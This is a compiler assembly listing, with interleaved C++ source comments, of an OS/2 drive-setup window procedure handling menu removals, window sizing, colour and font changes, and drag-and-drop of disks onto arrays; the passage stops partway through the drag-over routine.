mov edx,offset FLAT:@CBE56
mov eax,esi
call _sprintfieee
add esp,020h
; 1226 response = WinMessageBox(HWND_DESKTOP, hwnd,
push 04014h
push 0ffffffffh
push offset FLAT:@CBE29
push esi
push dword ptr [ebp+08h]; hwnd
push 01h
call WinMessageBox
add esp,018h
; 1229 if( response == MBID_YES )
cmp eax,06h
jne @BLBL105
; 1235 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030001h
; 1231 PMINIRECORDCORE ap[1] = {(PMINIRECORDCORE)work->pmrMenu};
mov ecx,[ebx+01ch]
mov [ebp-050h],ecx; ap
; 1235 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
lea ecx,[ebp-050h]; ap
push ecx
push 0346h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 1239 WinPostMsg(work->hwndScanner, WUM_DELPDEV, rdev, NULL);
push 0h
push edi
push 0100bh
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1240 }
@BLBL105:
; 1242 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL178:
; 1245 Verbose(3, "DrvSetup", "WM_COMMAND, IDM_REMOVE_CHILD");
sub esp,0ch
mov ecx,offset FLAT:@CBE57
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1251 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
lea ecx,[ebp-028h]; dummy
push 0h
; 1249 bool = FALSE;
mov dword ptr [ebp-024h],0h; bool
; 1251 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
push ecx
; 1250 dummy = 0;
mov dword ptr [ebp-028h],0h; dummy
; 1251 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
sub esp,0ch
mov ebx,[ebp-020h]; work
lea ecx,[ebp-024h]; bool
mov eax,[ebx+08h]
mov edx,offset FLAT: EmphInuse__FUlP9_MYRECORDPUlT3
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
; 1256 VRDev * rdev = work->pmrMenu->dsk;
mov ebx,[ebx+01ch]
; 1251 SearchCnr(work->hwndCnr, (PFNSRCH)EmphInuse, &bool, &dummy, NULL);
add esp,014h
; 1256 VRDev * rdev = work->pmrMenu->dsk;
mov ebx,[ebx+01ch]
mov [ebp-060h],ebx; rdev
; 1260 sprintf(str,"Are you sure you want to remove"
lea ecx,[ebx+08h]
movzx edx,byte ptr [ecx+05h]
push edx
movzx edx,byte ptr [ecx+04h]
push edx
movzx edx,byte ptr [ecx+03h]
push edx
movzx edx,byte ptr [ecx+02h]
push edx
movzx edx,byte ptr [ecx+01h]
push edx
movzx ecx,byte ptr [ecx]
push ecx
lea edi,[ebp-0440h]; str
sub esp,08h
mov edx,offset FLAT:@CBE58
mov eax,edi
call _sprintfieee
add esp,020h
; 1265 response = WinMessageBox(HWND_DESKTOP, hwnd,
push 04014h
push 0ffffffffh
push offset FLAT:@CBE29
push edi
push dword ptr [ebp+08h]; hwnd
push 01h
call WinMessageBox
add esp,018h
; 1268 if( response == MBID_YES )
cmp eax,06h
jne @BLBL106
; 1272 VRDrive * parent = rdev->getParent();
mov ecx,[ebx+04h]
mov [ebp-064h],ecx; parent
; 1276 VRDev * highest = parent;
mov [ebp-054h],ecx; highest
; 1277 while( highest->getParent() != 0 )
cmp dword ptr [ecx+04h],0h
je @BLBL107
@BLBL108:
; 1278 highest = highest->getParent();
mov ecx,[ecx+04h]
; 1277 while( highest->getParent() != 0 )
cmp dword ptr [ecx+04h],0h
jne @BLBL108
mov [ebp-054h],ecx; highest
@BLBL107:
; 1279 SearchCnr(work->hwndCnr, (PFNSRCH)LookupDisk,
push 0h
lea ecx,[ebp-058h]; myrcd
push ecx
mov ecx,[ebp-054h]; highest
sub esp,0ch
mov ebx,[ebp-020h]; work
mov edx,offset FLAT: LookupDisk__FUlP9_MYRECORDP5VRDevPP9_MYRECORD
mov eax,[ebx+08h]
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
; 1281 ap[0] = (PMINIRECORDCORE)myrcd;
mov ecx,[ebp-058h]; myrcd
; 1283 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030001h
; 1281 ap[0] = (PMINIRECORDCORE)myrcd;
mov [ebp-05ch],ecx; ap
; 1283 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
lea ecx,[ebp-05ch]; ap
push ecx
push 0346h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,010h
; 1290 WinPostMsg(work->hwndScanner, WUM_REMCHILD, rdev, parent);
push dword ptr [ebp-064h]; parent
push dword ptr [ebp-060h]; rdev
push 0100eh
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1291 }
@BLBL106:
; 1293 return 0;
pop esi
xor eax,eax
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
@BLBL179:
; 1297 Verbose(2, "DrvSetup", "WM_COMMAND %u", cmd);
mov ecx,offset FLAT:@CBE59
movzx eax,word ptr [ebp-068h]; cmd
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,02h
call Verbose
add esp,010h
; 1301 break; /* continue with default */
jmp @BLBL147
@BLBL154:
; 1309 Verbose(3, "DrvSetup", "WM_CREATE");
sub esp,0ch
mov ecx,offset FLAT:@CBE60
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,08h
; 1310 LoadPresParam(WC_DRVSETUP);
mov eax,offset FLAT:@CBE61
call LoadPresParam__FPc
add esp,04h
; 1311 break; /* keep on going... */
jmp @BLBL147
@BLBL155:
; 1319 Verbose(3, "DrvSetup", "WM_CLOSE");
sub esp,0ch
mov ebx,offset FLAT:@CBE3
mov ecx,offset FLAT:@CBE62
mov edx,ebx
mov eax,03h
call Verbose
add esp,0ch
; 1327 SearchCnr(work->hwndCnr, (PFNSRCH)QueryAny,
lea eax,[ebp-0184h]; info
push 0h
; 1326 info.cnt = 0;
mov dword ptr [ebp-0188h],0h; info
; 1327 SearchCnr(work->hwndCnr, (PFNSRCH)QueryAny,
push eax
lea ecx,[ebp-0188h]; info
sub esp,0ch
mov edi,[ebp-020h]; work
mov edx,offset FLAT: QueryAny__FUlP9_MYRECORDPUlPP9_MYRECORD
mov eax,[edi+08h]
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
add esp,014h
mov edx,ebx
; 1329 Verbose(2, "DrvSetup", "%lu drives are available", info.cnt);
push dword ptr [ebp-0188h]; info
mov ecx,offset FLAT:@CBE63
sub esp,0ch
mov eax,02h
call Verbose
add esp,010h
; 1330 for( ul = 0; ul < info.cnt; ++ul )
cmp dword ptr [ebp-0188h],0h; info
jbe @BLBL112
mov esi,edi
xor edi,edi
@BLBL113:
; 1332 WinPostMsg(work->hwndScanner, WUM_CLOSEDEV,
push 0h
mov eax,dword ptr [ebp+edi*04h-0184h]
; 1330 for( ul = 0; ul < info.cnt; ++ul )
inc edi
; 1332 WinPostMsg(work->hwndScanner, WUM_CLOSEDEV,
push dword ptr [eax+01ch]
push 0100fh
push dword ptr [esi+0ch]
call WinPostMsg
add esp,010h
; 1330 for( ul = 0; ul < info.cnt; ++ul )
cmp [ebp-0188h],edi; info
ja @BLBL113
@BLBL112:
; 1336 WinPostMsg(work->hwndScanner, WM_CLOSE, 0, 0);
push 0h
mov ebx,[ebp-020h]; work
push 0h
push 029h
push dword ptr [ebx+0ch]
call WinPostMsg
add esp,010h
; 1337 break; /* continue... */
jmp @BLBL147
@BLBL156:
; 1347 Verbose(3, "DrvSetup", "WM_DESTROY");
sub esp,0ch
mov ecx,offset FLAT:@CBE64
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1349 WinDestroyWindow(work->hwndSngPopup);
mov ebx,[ebp-020h]; work
push dword ptr [ebx+014h]
call WinDestroyWindow
add esp,04h
; 1350 WinDestroyWindow(work->hwndMulPopup);
push dword ptr [ebx+018h]
call WinDestroyWindow
add esp,04h
; 1351 WinDestroyWindow(work->hwndCnr);
push dword ptr [ebx+08h]
call WinDestroyWindow
add esp,04h
; 1352 WinPostMsg(work->self->parent, WUM_THREADENDED, work->self, 0);
mov ecx,[ebx]
push 0h
push ecx
push 01003h
push dword ptr [ecx]
call WinPostMsg
add esp,010h
; 1354 break;
jmp @BLBL147
@BLBL157:
; 1368 if( WinQueryWindowPos(WinQueryWindow(hwnd, QW_PARENT), &size) == TRUE )
lea ebx,[ebp-01b0h]; size
; 1364 Verbose(3, "DrvSetup", "WM_SIZE");
sub esp,0ch
mov ecx,offset FLAT:@CBE65
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1368 if( WinQueryWindowPos(WinQueryWindow(hwnd, QW_PARENT), &size) == TRUE )
push 05h
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
add esp,08h
push ebx
push eax
call WinQueryWindowPos
add esp,08h
cmp eax,01h
jne @BLBL117
; 1369 ProfileWrite(WC_DRVSETUP, "Size", sizeof(size), &size);
push ebx
mov ecx,024h
sub esp,0ch
mov edx,offset FLAT:@CBE66
mov eax,offset FLAT:@CBE61
call ProfileWrite
add esp,010h
@BLBL117:
; 1371 if( WinQueryWindowPos(hwnd, &size) == TRUE )
lea ebx,[ebp-01b0h]; size
push ebx
push dword ptr [ebp+08h]; hwnd
call WinQueryWindowPos
add esp,08h
cmp eax,01h
jne @BLBL118
; 1372 WinSetWindowPos(work->hwndCnr, HWND_TOP,
push 08bh
mov ecx,[ebp+014h]; mp2
mov ebx,ecx
shr ecx,010h
movzx ecx,cx
push ecx
movzx ebx,bx
push ebx
mov ebx,[ebp-020h]; work
push 0h
push 0h
push 03h
push dword ptr [ebx+08h]
call WinSetWindowPos
add esp,01ch
; 1375 SWP_SIZE|SWP_MOVE|SWP_SHOW|SWP_ACTIVATE);
@BLBL118:
; 1377 break;
jmp @BLBL147
@BLBL158:
; 1389 if( WinQueryWindowPos(WinQueryWindow(hwnd, QW_PARENT), &swp) == TRUE )
lea ebx,[ebp-0464h]; swp
; 1385 Verbose(3, "DrvSetup", "WM_MOVE");
sub esp,0ch
mov ecx,offset FLAT:@CBE67
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,0ch
; 1389 if( WinQueryWindowPos(WinQueryWindow(hwnd, QW_PARENT), &swp) == TRUE )
push 05h
push dword ptr [ebp+08h]; hwnd
call WinQueryWindow
add esp,08h
push ebx
push eax
call WinQueryWindowPos
add esp,08h
cmp eax,01h
jne @BLBL119
; 1390 ProfileWrite(WC_DRVSETUP, "Position", sizeof(swp), &swp);
push ebx
mov ecx,024h
sub esp,0ch
mov edx,offset FLAT:@CBE68
mov eax,offset FLAT:@CBE61
call ProfileWrite
add esp,010h
@BLBL119:
; 1392 break;
jmp @BLBL147
@BLBL159:
; 1403 Verbose(1, "DrvSetup", "WM_QUERYTRACKINFO (tracking flags %#x)",tf);
mov ax,[ebp+010h]; mp1
movzx eax,ax
push eax
mov ecx,offset FLAT:@CBE69
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,01h
call Verbose
add esp,010h
; 1405 break; /* has to do default processing! */
jmp @BLBL147
@BLBL160:
; 1418 Verbose(3, "DrvSetup", "WM_PRESPARAMCHANGED(type %#x)", LONGFROMMP(mp1));
mov eax,[ebp+010h]; mp1
push eax
mov ecx,offset FLAT:@CBE70
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,03h
call Verbose
add esp,010h
; 1419 if( work == NULL )
cmp dword ptr [ebp-020h],0h; work
jne @BLBL120
; 1420 break;
jmp @BLBL147
@BLBL120:
; 1422 switch( LONGFROMMP(mp1) )
mov eax,[ebp+010h]; mp1
cmp eax,01h
je @BLBL187
cmp eax,03h
je @BLBL188
cmp eax,0fh
je @BLBL189
jmp @BLBL190
@BLBL187:
; 1425 cb = WinQueryPresParam(hwnd, PP_FOREGROUNDCOLOR, 0, NULL,
push 01h
push offset FLAT:@3rgbForeground
push 04h
push 0h
push 0h
push 01h
push dword ptr [ebp+08h]; hwnd
call WinQueryPresParam
add esp,01ch
; 1428 if( cb == 0 )
test eax,eax
jne @BLBL121
; 1429 Verbose(1, "DrvSetup",
mov ebx,[ebp-020h]; work
push dword ptr [ebx+04h]
call WinGetLastError
add esp,04h
mov ecx,offset FLAT:@CBE71
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 1431 WinGetLastError(work-
; 1431 >hab));
jmp @BLBL122
@BLBL121:
; 1434 Verbose(2, "DrvSetup", "Set foreground colour to %#x",
push dword ptr @3rgbForeground
mov ecx,offset FLAT:@CBE72
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
add esp,010h
; 1436 ProfileWrite(WC_DRVSETUP, "Foreground",
mov ecx,04h
push offset FLAT:@3rgbForeground
mov edx,offset FLAT:@CBE2
sub esp,0ch
mov eax,offset FLAT:@CBE61
call ProfileWrite
add esp,010h
; 1438 WinInvalidateRect(hwnd, NULL, FALSE);
push 0h
push 0h
push dword ptr [ebp+08h]; hwnd
call WinInvalidateRect
add esp,0ch
; 1439 }
@BLBL122:
; 1440 break;
jmp @BLBL147
@BLBL188:
; 1443 cb = WinQueryPresParam(hwnd, PP_BACKGROUNDCOLOR, 0, NULL,
push 01h
push offset FLAT:@2rgbBackground
push 04h
push 0h
push 0h
push 03h
push dword ptr [ebp+08h]; hwnd
call WinQueryPresParam
add esp,01ch
; 1446 if( cb == 0 )
test eax,eax
jne @BLBL123
; 1447 Verbose(1, "DrvSetup",
mov ebx,[ebp-020h]; work
push dword ptr [ebx+04h]
call WinGetLastError
add esp,04h
mov ecx,offset FLAT:@CBE71
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 1449 WinGetLastError(work->hab));
jmp @BLBL124
@BLBL123:
; 1452 Verbose(2, "DrvSetup", "Set background colour to %#x",
push dword ptr @2rgbBackground
mov ecx,offset FLAT:@CBE73
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
add esp,010h
; 1454 ProfileWrite(WC_DRVSETUP, "Background",
mov ecx,04h
push offset FLAT:@2rgbBackground
mov edx,offset FLAT:@CBE1
sub esp,0ch
mov eax,offset FLAT:@CBE61
call ProfileWrite
add esp,010h
; 1456 WinInvalidateRect(hwnd, NULL, FALSE);
push 0h
push 0h
push dword ptr [ebp+08h]; hwnd
call WinInvalidateRect
add esp,0ch
; 1457 }
@BLBL124:
; 1458 break;
jmp @BLBL147
@BLBL189:
; 1461 cb = WinQueryPresParam(hwnd, PP_FONTNAMESIZE, 0, NULL,
push 01h
lea ebx,[ebp-02b0h]; fontname
push ebx
push 0100h
push 0h
push 0h
push 0fh
push dword ptr [ebp+08h]; hwnd
call WinQueryPresParam
add esp,01ch
; 1464 if( cb == 0 )
test eax,eax
jne @BLBL125
; 1465 Verbose(1, "DrvSetup",
mov ebx,[ebp-020h]; work
push dword ptr [ebx+04h]
call WinGetLastError
add esp,04h
mov ecx,offset FLAT:@CBE71
push eax
mov edx,offset FLAT:@CBE3
sub esp,0ch
mov eax,01h
call Verbose
add esp,010h
; 1467 WinGetLastError(work->hab));
jmp @BLBL126
@BLBL125:
; 1470 Verbose(2, "DrvSetup", "Set font to \"%s\"", fontname);
lea ebx,[ebp-02b0h]; fontname
push ebx
mov ecx,offset FLAT:@CBE74
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
add esp,0ch
; 1471 ProfileWrite(WC_DRVSETUP, "Font", strlen(fontname), &fontname);
mov eax,ebx
call strlen
add esp,04h
mov ecx,eax
push ebx
mov edx,offset FLAT:@CBE75
sub esp,0ch
mov eax,offset FLAT:@CBE61
call ProfileWrite
add esp,010h
; 1472 WinInvalidateRect(hwnd, NULL, FALSE);
push 0h
push 0h
push dword ptr [ebp+08h]; hwnd
call WinInvalidateRect
add esp,0ch
; 1473 }
@BLBL126:
; 1474 break;
jmp @BLBL147
@BLBL190:
; 1477 Verbose(1, "DrvSetup", "WM_PRESPARAMCHANGED(unsupported type %#x)",
mov eax,[ebp+010h]; mp1
push eax
mov ecx,offset FLAT:@CBE76
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,01h
call Verbose
add esp,010h
; 1482 break;
jmp @BLBL147
@BLBL161:
; 1490 return (MRESULT)TRUE;
pop esi
mov eax,01h
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
; 1494 break;
@BLBL147:
; 1497 return WinDefWindowProc(hwnd, msg, mp1, mp2);
push dword ptr [ebp+014h]; mp2
push dword ptr [ebp+010h]; mp1
push dword ptr [ebp+0ch]; msg
push dword ptr [ebp+08h]; hwnd
call WinDefWindowProc
add esp,010h
pop esi
pop edi
pop ebx
add esp,0460h
pop fs:[0h]
leave
ret
DrvsetupWindowProc endp
; 791 DragDrop(HWND hwndClient,PWORK const work,PCNRDRAGINFO drag)
DragDrop__FUlCP5_WORKP12_CNRDRAGINFO proc
push ebp
mov ebp,esp
push ebx
mov ebx,ecx
push edi
mov [ebp+010h],ebx; drag
push esi
mov esi,eax
sub esp,0ech
mov [ebp+0ch],edx; work
mov [ebp+08h],esi; hwndClient
; 793 VRDev * const dest = ((PMYRECORD)drag->pRecord)->dsk;
mov eax,[ebx+04h]
; 798 Verbose(2, "DrvSetup", "DragDrop, record %#x", drag->pRecord);
push eax
; 793 VRDev * const dest = ((PMYRECORD)drag->pRecord)->dsk;
mov eax,[eax+01ch]
; 798 Verbose(2, "DrvSetup", "DragDrop, record %#x", drag->pRecord);
sub esp,0ch
; 793 VRDev * const dest = ((PMYRECORD)drag->pRecord)->dsk;
mov [ebp-01ch],eax; dest
; 798 Verbose(2, "DrvSetup", "DragDrop, record %#x", drag->pRecord);
mov edi,offset FLAT:@CBE3
mov ecx,offset FLAT:@CBE26
mov edx,edi
mov eax,02h
call Verbose
mov ecx,ebx
mov eax,esi
; 800 if( drag->pDragInfo->hwndSource != hwndClient )
mov ecx,[ecx]
; 798 Verbose(2, "DrvSetup", "DragDrop, record %#x", drag->pRecord);
add esp,010h
; 800 if( drag->pDragInfo->hwndSource != hwndClient )
cmp [ecx+08h],eax
; 798 Verbose(2, "DrvSetup", "DragDrop, record %#x", drag->pRecord);
mov edx,edi
; 800 if( drag->pDragInfo->hwndSource != hwndClient )
je @BLBL66
; 802 Verbose(2, "DrvSetup", "DragDrop, can't use external data");
mov ecx,offset FLAT:@CBE27
mov eax,02h
call Verbose
; 803 return 0;
add esp,0ech
xor eax,eax
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL66:
; 806 id = work->pmrDragSource->dsk->queryID();
mov ebx,[ebp+0ch]; work
; 812 switch( dest->isArray() )
mov eax,[ebp-01ch]; dest
; 806 id = work->pmrDragSource->dsk->queryID();
mov ebx,[ebx+020h]
mov ebx,[ebx+01ch]
add ebx,08h
mov [ebp-024h],ebx; id
; 812 switch( dest->isArray() )
mov ebx,[eax]
mov ecx,[ebx+064h]
add eax,ecx
call dword ptr [ebx+060h]
movzx eax,al
cmp eax,02h
je @BLBL192
cmp eax,04h
jne @BLBL191
@BLBL192:
; 816 sprintf(str, "This will destroy all data on the"
mov ecx,[ebp-024h]; id
lea ebx,[ebp-0ech]; str
movzx edx,byte ptr [ecx+05h]
push edx
movzx edx,byte ptr [ecx+04h]
push edx
movzx edx,byte ptr [ecx+03h]
push edx
movzx edx,byte ptr [ecx+02h]
push edx
movzx edx,byte ptr [ecx+01h]
push edx
movzx ecx,byte ptr [ecx]
push ecx
mov edx,offset FLAT:@CBE28
sub esp,08h
mov eax,ebx
call _sprintfieee
; 820 response = WinMessageBox(HWND_DESKTOP, hwndClient,
push 04014h
push 0ffffffffh
push offset FLAT:@CBE29
push ebx
push dword ptr [ebp+08h]; hwndClient
push 01h
call WinMessageBox
add esp,038h
; 823 if( response == MBID_YES )
cmp eax,06h
jne @BLBL67
; 828 ((VRDrive *)dest)->addChild(work->pmrDragSource->dsk, False, False);
push 0h
; 826 PMYRECORD myrcd = (PMYRECORD)drag->pRecord;
mov ebx,[ebp+010h]; drag
; 828 ((VRDrive *)dest)->addChild(work->pmrDragSource->dsk, False, False);
sub esp,0ch
mov edi,[ebp-01ch]; dest
mov edx,[ebp+0ch]; work
; 826 PMYRECORD myrcd = (PMYRECORD)drag->pRecord;
mov ebx,[ebx+04h]
mov [ebp-010h],ebx; myrcd
; 828 ((VRDrive *)dest)->addChild(work->pmrDragSource->dsk, False, False);
mov ebx,[edi]
mov edx,[edx+020h]
mov eax,[ebx+08ch]
mov edx,[edx+01ch]
xor ecx,ecx
add eax,edi
call dword ptr [ebx+088h]
add esp,010h
; 834 VRDev * highest = dest;
mov [ebp-020h],edi; highest
; 835 while( highest->getParent() != 0 )
cmp dword ptr [edi+04h],0h
je @BLBL68
@BLBL69:
; 836 highest = highest->getParent();
mov edi,[edi+04h]
; 835 while( highest->getParent() != 0 )
cmp dword ptr [edi+04h],0h
jne @BLBL69
mov [ebp-020h],edi; highest
@BLBL68:
; 837 SearchCnr(work->hwndCnr, (PFNSRCH)LookupDisk, highest,
; 837 &myrcd, NULL);
push 0h
lea ecx,[ebp-010h]; myrcd
push ecx
mov edi,[ebp+0ch]; work
mov ebx,[ebp-020h]; highest
sub esp,0ch
mov eax,[edi+08h]
mov ecx,ebx
mov edx,offset FLAT: LookupDisk__FUlP9_MYRECORDP5VRDevPP9_MYRECORD
call SearchCnr__FUlPFUlPvT2PUl_UlPvN23
; 838 Verbose(2, "DrvSetup", "DragDrop: found as record %lu", myrcd);
push dword ptr [ebp-010h]; myrcd
mov ecx,offset FLAT:@CBE30
sub esp,0ch
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 842 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
push 030002h
; 840 ap[0] = (PMINIRECORDCORE)work->pmrDragSource;
mov eax,[edi+020h]
mov [ebp-018h],eax; ap
; 841 ap[1] = (PMINIRECORDCORE)myrcd;
mov eax,[ebp-010h]; myrcd
mov [ebp-014h],eax; ap
; 842 WinSendMsg(work->hwndCnr, CM_REMOVERECORD,
lea eax,[ebp-018h]; ap
push eax
push 0346h
push dword ptr [edi+08h]
call WinSendMsg
; 850 WinPostMsg(work->hwndScanner, WUM_DEVTREE, highest, NULL);
push 0h
push ebx
push 0100ah
push dword ptr [edi+0ch]
call WinPostMsg
add esp,044h
; 851 }
@BLBL67:
; 857 break;
@BLBL191:
; 863 work->pmrDragSource = NULL;
mov ebx,[ebp+0ch]; work
; 865 return 0;
xor eax,eax
; 863 work->pmrDragSource = NULL;
mov dword ptr [ebx+020h],0h
; 864 work->pmrDragDestination = NULL;
mov dword ptr [ebx+024h],0h
; 865 return 0;
add esp,0ech
pop esi
pop edi
pop ebx
pop ebp
ret
DragDrop__FUlCP5_WORKP12_CNRDRAGINFO endp
; 659 DragOver(HWND hwndClient,PWORK const work,PCNRDRAGINFO drag)
DragOver__FUlCP5_WORKP12_CNRDRAGINFO proc
push ebp
mov ebp,esp
push ebx
mov ebx,ecx
push edi
mov [ebp+08h],eax; hwndClient
push esi
mov [ebp+010h],ebx; drag
sub esp,034h
mov [ebp+0ch],edx; work
; 661 Verbose(2, "DrvSetup", "DragOver, record %#x", drag->pRecord);
push dword ptr [ebx+04h]
mov edi,offset FLAT:@CBE3
sub esp,0ch
mov ecx,offset FLAT:@CBE16
mov edx,edi
mov eax,02h
call Verbose
mov ecx,ebx
add esp,010h
; 668 if( drag->pRecord == NULL )
cmp dword ptr [ecx+04h],0h
; 661 Verbose(2, "DrvSetup", "DragOver, record %#x", drag->pRecord);
mov edx,edi
; 668 if( drag->pRecord == NULL )
jne @BLBL58
; 670 Verbose(2, "DrvSetup", "DragOver, no target");
mov ecx,offset FLAT:@CBE17
mov eax,02h
call Verbose
; 671 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL58:
; 678 WinQueryPointerPos(HWND_DESKTOP, &ptlMouse);
lea ebx,[ebp-014h]; ptlMouse
push ebx
push 01h
call WinQueryPointerPos
; 686 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push 02h
; 682 qrfrQuery.rect.xLeft = ptlMouse.x;
mov ebx,[ebp-014h]; ptlMouse
mov [ebp-030h],ebx; qrfrQuery
; 683 qrfrQuery.rect.xRight = ptlMouse.x+1;
inc ebx
mov [ebp-028h],ebx; qrfrQuery
; 684 qrfrQuery.rect.yBottom = ptlMouse.y;
mov ebx,[ebp-010h]; ptlMouse
mov [ebp-02ch],ebx; qrfrQuery
; 685 qrfrQuery.rect.yTop = ptlMouse.y+1;
inc ebx
mov [ebp-024h],ebx; qrfrQuery
; 686 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
lea ebx,[ebp-030h]; qrfrQuery
push ebx
; 681 qrfrQuery.cb = sizeof(QUERYRECFROMRECT);
mov dword ptr [ebp-034h],018h; qrfrQuery
; 686 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push dword ptr [ebp+08h]; hwndClient
; 693 work->pmrDragDestination
lea ebx,[ebp-034h]; qrfrQuery
; 686 WinMapWindowPoints(HWND_DESKTOP, hwndClient, (PPOINTL)&qrfrQuery.rect, 2);
push 01h
call WinMapWindowPoints
; 693 work->pmrDragDestination
push ebx
mov ebx,[ebp+0ch]; work
push 010h
; 688 qrfrQuery.fsSearch = CMA_PARTIAL|CMA_ITEMORDER;
mov dword ptr [ebp-020h],02001h; qrfrQuery
; 693 work->pmrDragDestination
push 0342h
push dword ptr [ebx+08h]
call WinSendMsg
add esp,028h
mov [ebx+024h],eax
; 696 if( work->pmrDragDestination == NULL )
test eax,eax
jne @BLBL59
; 698 Verbose(2, "DrvSetup", "DragOver, no destination");
mov ecx,offset FLAT:@CBE18
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 699 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL59:
; 702 if( work->pmrDragDestination != (PMYRECORD)drag->pRecord )
mov ecx,[ebp+010h]; drag
mov ebx,[ebp+0ch]; work
mov ecx,[ecx+04h]
cmp [ebx+024h],ecx
je @BLBL60
; 704 Verbose(1, "DrvSetup", "DragOver, pRecord != pmrDragDestination!");
mov ecx,offset FLAT:@CBE19
mov edx,offset FLAT:@CBE3
mov eax,01h
call Verbose
; 705 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL60:
; 712 VRDev * const rdev = work->pmrDragDestination->dsk;
mov ebx,[ebp+0ch]; work
; 715 Verbose(2, "DrvSetup", "DragOver, destination %#x", rdev);
mov esi,offset FLAT:@CBE3
; 712 VRDev * const rdev = work->pmrDragDestination->dsk;
mov edi,[ebx+024h]
mov edi,[edi+01ch]
mov [ebp-018h],edi; rdev
; 713 UCHAR const rdtype = rdev->isArray();
mov ecx,[edi]
mov eax,[ecx+064h]
add eax,edi
call dword ptr [ecx+060h]
; 715 Verbose(2, "DrvSetup", "DragOver, destination %#x", rdev);
push edi
mov ecx,offset FLAT:@CBE20
sub esp,0ch
; 713 UCHAR const rdtype = rdev->isArray();
mov [ebp-019h],al; rdtype
; 715 Verbose(2, "DrvSetup", "DragOver, destination %#x", rdev);
mov edx,esi
mov eax,02h
call Verbose
; 716 if( work->pmrDragSource->dsk == rdev )
mov eax,[ebx+020h]
; 715 Verbose(2, "DrvSetup", "DragOver, destination %#x", rdev);
add esp,010h
; 716 if( work->pmrDragSource->dsk == rdev )
cmp [eax+01ch],edi
; 715 Verbose(2, "DrvSetup", "DragOver, destination %#x", rdev);
mov edx,esi
; 716 if( work->pmrDragSource->dsk == rdev )
jne @BLBL61
; 718 Verbose(2, "DrvSetup", "DragOver, source == destination!");
mov ecx,offset FLAT:@CBE21
mov eax,02h
call Verbose
; 719 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL61:
; 723 switch( rdtype )
movzx eax,byte ptr [ebp-019h]; rdtype
cmp eax,02h
je @BLBL195
cmp eax,04h
jne @BLBL196
@BLBL194:
; 729 if( work->pmrDragSource->dsk->querySize() < rdev->querySize() )
mov ebx,[ebp+0ch]; work
mov eax,[ebx+020h]
mov eax,[eax+01ch]
mov ecx,[eax]
mov edx,[ecx+014h]
add eax,edx
call dword ptr [ecx+010h]
mov edi,eax
mov eax,[ebp-018h]; rdev
mov ecx,[eax]
mov edx,[ecx+014h]
add eax,edx
call dword ptr [ecx+010h]
cmp edi,eax
jae @BLBL62
; 731 Verbose(2, "DrvSetup", "DragOver, source too small");
mov ecx,offset FLAT:@CBE22
mov edx,offset FLAT:@CBE3
mov eax,02h
call Verbose
; 732 work->pmrDragDestination = NULL;
mov dword ptr [ebx+024h],0h
; 733 return MRFROM2SHORT(DOR_NODROP,DO_DEFAULT);
add esp,034h
mov eax,0bffe0000h
pop esi
pop edi
pop ebx
pop ebp
ret
@BLBL62:
; 735 break;
jmp @BLBL193
@BLBL195:
; 741 if( rdev->getParent() != NULL )
mov ebx,[ebp-018h]; rdev
cmp dword ptr [ebx+04h],0h
je @BLBL63
; 747 work->pmrDragDestination = NULL;
mov ebx,[ebp+0ch]; work
